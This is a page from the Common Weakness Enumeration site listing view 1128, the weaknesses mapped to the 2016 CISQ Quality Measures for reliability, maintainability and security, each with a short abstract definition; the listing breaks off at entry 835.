CWE

Common Weakness Enumeration

A Community-Developed List of Software Weakness Types

CWE/SANS Top 25 Most Dangerous Software Errors
Home > CWE List > VIEW SLICE: CWE-1128: CISQ Quality Measures (2016) (3.2)  
ID

CWE VIEW: CISQ Quality Measures (2016)

View ID: 1128
Type: Graph
Status: Incomplete
Downloads: Booklet | CSV | XML
+ Objective
CWE nodes in this view (graph) are associated with the Consortium for IT Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2016. These measures are derived from Object Management Group (OMG) standards.
+ Audience
StakeholderDescription
Software DevelopersThis view outlines the most important software quality issues as identified by the CISQ Automated Quality Characteristic Measures from 2016; it provides a good starting point for application developers who wish to learn more about, or improve their own code quality.
Software DesignersThis view outlines the most important software quality issues as identified by the CISQ Automated Quality Characteristic Measures from 2016; it provides a good starting point for software designers to ensure that code quality issues are considered during the design process.
Software VendorsThis view outlines the most important software quality issues as identified by the CISQ Automated Quality Characteristic Measures from 2016; it provides a good starting point for software vendors who wish to mark the quality of their software.
Assessment VendorsThis view outlines the most important software quality issues as identified by the CISQ Automated Quality Characteristic Measures from 2016; it provides a good starting point for assessment vendors who wish to understand what constitutes software with good code quality, using quality issues that are automatically detectable.
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and classes exist to group weaknesses. A category is a CWE entry that contains a set of other entries that share a common characteristic. Classes are weaknesses that are described in a very abstract fashion, typically independent of any specific language or technology and are more general than a base weakness. Within classes, base level weaknesses are used to present a more specific type of weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. A composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
1128 - CISQ Quality Measures (2016)
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.CISQ Quality Measures - Reliability - (1129)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability)
Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 120 (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.buffer overrunUnbounded Transfer
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Unchecked Return Value - (252)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 252 (Unchecked Return Value)
The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Declaration of Catch for Generic Exception - (396)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 396 (Declaration of Catch for Generic Exception)
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Declaration of Throws for Generic Exception - (397)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 397 (Declaration of Throws for Generic Exception)
Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Missing Initialization of a Variable - (456)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 456 (Missing Initialization of a Variable)
The software does not initialize critical variables, which causes the execution environment to use unexpected values.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Uncontrolled Recursion - (674)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 674 (Uncontrolled Recursion)
The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.Stack Exhaustion
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Incorrect Type Conversion or Cast - (704)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 704 (Incorrect Type Conversion or Cast)
The software does not correctly convert an object, resource, or structure from one type to a different type.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Missing Release of Resource after Effective Lifetime - (772)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 772 (Missing Release of Resource after Effective Lifetime)
The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Access of Memory Location After End of Buffer - (788)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 788 (Access of Memory Location After End of Buffer)
The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor - (1045)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1045 (Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor)
A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Modules with Circular Dependencies - (1047)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1047 (Modules with Circular Dependencies)
The software contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Initialization with Hard-Coded Network Resource Configuration Data - (1051)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1051 (Initialization with Hard-Coded Network Resource Configuration Data)
The software initializes data using hard-coded values that act as as network resource identifiers.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Invokable Control Element with Variadic Parameters - (1056)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1056 (Invokable Control Element with Variadic Parameters)
A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element - (1058)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1058 (Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element)
The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Parent Class with References to Child Class - (1062)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1062 (Parent Class with References to Child Class)
The code has a parent class that contains references to a child class, its methods, or its members.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Runtime Resource Management Control Element in a Component Built to Run on Application Servers - (1065)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1065 (Runtime Resource Management Control Element in a Component Built to Run on Application Servers)
The application uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Missing Serialization Control Element - (1066)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1066 (Missing Serialization Control Element)
The software contains a serializable data element that does not have an associated serialization method.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Empty Exception Block - (1069)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1069 (Empty Exception Block)
An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Serializable Data Element Containing non-Serializable Item Elements - (1070)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1070 (Serializable Data Element Containing non-Serializable Item Elements)
The software contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Floating Point Comparison with Incorrect Operator - (1077)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1077 (Floating Point Comparison with Incorrect Operator)
The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Parent Class without Virtual Destructor Method - (1079)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1079 (Parent Class without Virtual Destructor Method)
A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Class Instance Self Destruction Control Element - (1082)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1082 (Class Instance Self Destruction Control Element)
The code contains a class instance that calls the method or function to delete or destroy itself.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Data Access from Outside Expected Data Manager Component - (1083)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1083 (Data Access from Outside Expected Data Manager Component)
The software is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Class with Virtual Method without a Virtual Destructor - (1087)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1087 (Class with Virtual Method without a Virtual Destructor)
A class contains a virtual method, but the method does not have an associated virtual destructor.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Synchronous Access of Remote Resource without Timeout - (1088)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1088 (Synchronous Access of Remote Resource without Timeout)
The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Persistent Storable Data Element without Associated Comparison Control Element - (1097)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1097 (Persistent Storable Data Element without Associated Comparison Control Element)
The software uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Singleton Class Instance Creation without Proper Locking or Synchronization - (1096)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1096 (Singleton Class Instance Creation without Proper Locking or Synchronization)
The software implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Data Element containing Pointer Item without Proper Copy Control Element - (1098)
1128 (CISQ Quality Measures (2016)) > 1129 (CISQ Quality Measures - Reliability) > 1098 (Data Element containing Pointer Item without Proper Copy Control Element)
The code contains a data element with a pointer that does not have an associated copy or constructor method.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.CISQ Quality Measures - Maintainability - (1130)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability)
Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Dead Code - (561)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 561 (Dead Code)
The software contains dead code, which can never be executed.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of Redundant Code - (1041)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1041 (Use of Redundant Code)
The software has multiple functions, methods, procedures, macros, etc. that contain the same code.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Architecture with Number of Horizontal Layers Outside of Expected Range - (1044)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1044 (Architecture with Number of Horizontal Layers Outside of Expected Range)
The software's architecture contains too many - or too few - horizontal layers.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Modules with Circular Dependencies - (1047)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1047 (Modules with Circular Dependencies)
The software contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Invokable Control Element with Large Number of Outward Calls - (1048)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1048 (Invokable Control Element with Large Number of Outward Calls)
The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Excessive Use of Hard-Coded Literals in Initialization - (1052)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1052 (Excessive Use of Hard-Coded Literals in Initialization)
The software initializes a data element using a hard-coded literal that is not a simple integer or static constant element.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer - (1054)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1054 (Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer)
The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Multiple Inheritance from Concrete Classes - (1055)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1055 (Multiple Inheritance from Concrete Classes)
The software contains a class with inheritance from more than one concrete class.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Invokable Control Element with Signature Containing an Excessive Number of Parameters - (1064)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1064 (Invokable Control Element with Signature Containing an Excessive Number of Parameters)
The software contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Class with Excessively Deep Inheritance - (1074)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1074 (Class with Excessively Deep Inheritance)
A class has an inheritance level that is too high, i.e., it has a large number of parent classes.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Unconditional Control Flow Transfer outside of Switch Block - (1075)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1075 (Unconditional Control Flow Transfer outside of Switch Block)
The software performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Source Code File with Excessive Number of Lines of Code - (1080)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1080 (Source Code File with Excessive Number of Lines of Code)
A source code file has too many lines of code.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Critical Data Element Declared Public - (766)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 766 (Critical Data Element Declared Public)
The software declares a critical variable, field, or member to be public when intended security policy requires it to be private.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Invokable Control Element with Excessive File or Data Access Operations - (1084)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1084 (Invokable Control Element with Excessive File or Data Access Operations)
A function or method contains too many operations that utilize a data manager or file resource.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Invokable Control Element with Excessive Volume of Commented-out Code - (1085)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1085 (Invokable Control Element with Excessive Volume of Commented-out Code)
A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Class with Excessive Number of Child Classes - (1086)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1086 (Class with Excessive Number of Child Classes)
A class contains an unnecessarily large number of children.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Method Containing Access of a Member Element from Another Class - (1090)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1090 (Method Containing Access of a Member Element from Another Class)
A method for a class performs an operation that directly accesses a member element from another class.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of Same Invokable Control Element in Multiple Architectural Layers - (1092)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1092 (Use of Same Invokable Control Element in Multiple Architectural Layers)
The software uses the same control element across multiple architectural layers.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Loop Condition Value Update within the Loop - (1095)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1095 (Loop Condition Value Update within the Loop)
The software uses a loop with a control flow condition based on a value that is updated within the body of the loop.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Excessive McCabe Cyclomatic Complexity - (1121)
1128 (CISQ Quality Measures (2016)) > 1130 (CISQ Quality Measures - Maintainability) > 1121 (Excessive McCabe Cyclomatic Complexity)
The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.CISQ Quality Measures - Security - (1131)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security)
Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.Directory traversalPath traversal
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSHTML InjectionCSS
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Control of Resource Identifiers ('Resource Injection') - (99)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 99 (Improper Control of Resource Identifiers ('Resource Injection'))
The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.Insecure Direct Object Reference
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 120 (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.buffer overrunUnbounded Transfer
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Validation of Array Index - (129)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 129 (Improper Validation of Array Index)
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.out-of-bounds array indexindex-out-of-rangearray index underflow
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of Externally-Controlled Format String - (134)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 134 (Use of Externally-Controlled Format String)
The software uses a function that accepts a format string as an argument, but the format string originates from an external source.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Unchecked Return Value - (252)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 252 (Unchecked Return Value)
The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of a Broken or Risky Cryptographic Algorithm - (327)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Declaration of Catch for Generic Exception - (396)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 396 (Declaration of Catch for Generic Exception)
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Declaration of Throws for Generic Exception - (397)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 397 (Declaration of Throws for Generic Exception)
Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Unrestricted Upload of File with Dangerous Type - (434)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 434 (Unrestricted Upload of File with Dangerous Type)
The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.Unrestricted File Upload
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Missing Initialization of a Variable - (456)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 456 (Missing Initialization of a Variable)
The software does not initialize critical variables, which causes the execution environment to use unexpected values.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Unchecked Input for Loop Condition - (606)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 606 (Unchecked Input for Loop Condition)
The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service because of excessive looping.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Locking - (667)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 667 (Improper Locking)
The software does not properly acquire a lock on a resource, or it does not properly release a lock on a resource, leading to unexpected resource state changes and behaviors.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Operation on a Resource after Expiration or Release - (672)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 672 (Operation on a Resource after Expiration or Release)
The software uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Incorrect Conversion between Numeric Types - (681)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 681 (Incorrect Conversion between Numeric Types)
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Missing Release of Resource after Effective Lifetime - (772)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 772 (Missing Release of Resource after Effective Lifetime)
The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Uncontrolled Memory Allocation - (789)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 789 (Uncontrolled Memory Allocation)
The product allocates memory based on an untrusted size value, but it does not validate or incorrectly validates the size, allowing arbitrary amounts of memory to be allocated.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of Hard-coded Credentials - (798)
1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 798 (Use of Hard-coded Credentials)
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Loop with Unreachable Exit Condition ('Infinite Loop') - (835)
